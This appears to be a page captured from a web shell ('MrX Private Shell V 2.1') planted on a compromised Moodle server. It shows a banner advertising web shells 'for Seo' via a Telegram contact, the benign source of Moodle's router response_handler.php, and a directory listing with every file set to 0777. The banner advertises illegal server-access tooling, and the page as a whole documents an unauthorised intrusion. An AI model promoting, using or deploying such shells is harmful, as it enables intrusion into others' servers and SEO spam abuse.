__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
namespace core\router;
use core\exception\invalid_parameter_exception;
use core\exception\response_aware_exception;
use core\router;
use core\router\response\exception_response;
use core\router\response\invalid_parameter_response;
use core\router\schema\response\response_type;
use Psr\Container\ContainerInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
/**
* Controller Invoker for the Moodle Router.
*
* This class handles invocation of the route callable, and the conversion of the response into an appropriate format.
*
* @package core
* @copyright Andrew Lyons <andrew@nicols.co.uk>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class response_handler {
/**
* Create a new response handler.
*
* @param ContainerInterface $container
*/
public function __construct(
/** @var ContainerInterface */
private readonly ContainerInterface $container,
) {
}
/**
* Invoke a route callable.
*
* Note: Much of this is copied from the parent class, but we need to handle the response differently.
*
* @param ResponseInterface|response_type $response The response object.
* @return ResponseInterface The response from the callable.
*/
public function standardise_response(
ResponseInterface | response_type $response,
): ResponseInterface {
if ($response instanceof ResponseInterface) {
// An object implementing ResponseInterface is returned, so we can just return it.
return $response;
}
$responsefactory = $this->container->get(router::class)->get_response_factory();
// This must be a response\response_type.
return $response->get_response($responsefactory);
}
/**
* Get the response from an exception.
*
* @param ServerRequestInterface $request
* @param \Exception $exception
*
* @return ResponseInterface
*/
public function get_response_from_exception(
ServerRequestInterface $request,
\Exception $exception,
): ResponseInterface {
$response = match (true) {
// Newer exceptions may be response-aware, so we can use the response class they specify.
(is_a($exception, response_aware_exception::class)) => $exception->get_response_classname()::get_response(
$request,
$exception,
),
// Some legacy expressions are here for the moment.
is_a($exception, invalid_parameter_exception::class) => invalid_parameter_response::get_response(
$request,
$exception,
),
// Otherwise use the default.
default => exception_response::get_response($request, $exception),
};
return $this->standardise_response($response);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| middleware | Folder | 0777 |
|
|
| parameters | Folder | 0777 |
|
|
| response | Folder | 0777 |
|
|
| schema | Folder | 0777 |
|
|
| abstract_route_loader.php | File | 6.75 KB | 0777 |
|
| apidocs.php | File | 5.03 KB | 0777 |
|
| bridge.php | File | 3.11 KB | 0777 |
|
| callable_resolver.php | File | 3.77 KB | 0777 |
|
| controller_invoker.php | File | 3.48 KB | 0777 |
|
| hook_callbacks.php | File | 1.56 KB | 0777 |
|
| request_validator.php | File | 6.38 KB | 0777 |
|
| request_validator_interface.php | File | 1.21 KB | 0777 |
|
| response_handler.php | File | 3.53 KB | 0777 |
|
| response_validator.php | File | 1.68 KB | 0777 |
|
| response_validator_interface.php | File | 1.28 KB | 0777 |
|
| route.php | File | 10.52 KB | 0777 |
|
| route_controller.php | File | 4.17 KB | 0777 |
|
| route_loader.php | File | 2.72 KB | 0777 |
|
| route_loader_interface.php | File | 1.44 KB | 0777 |
|
| util.php | File | 7.42 KB | 0777 |
|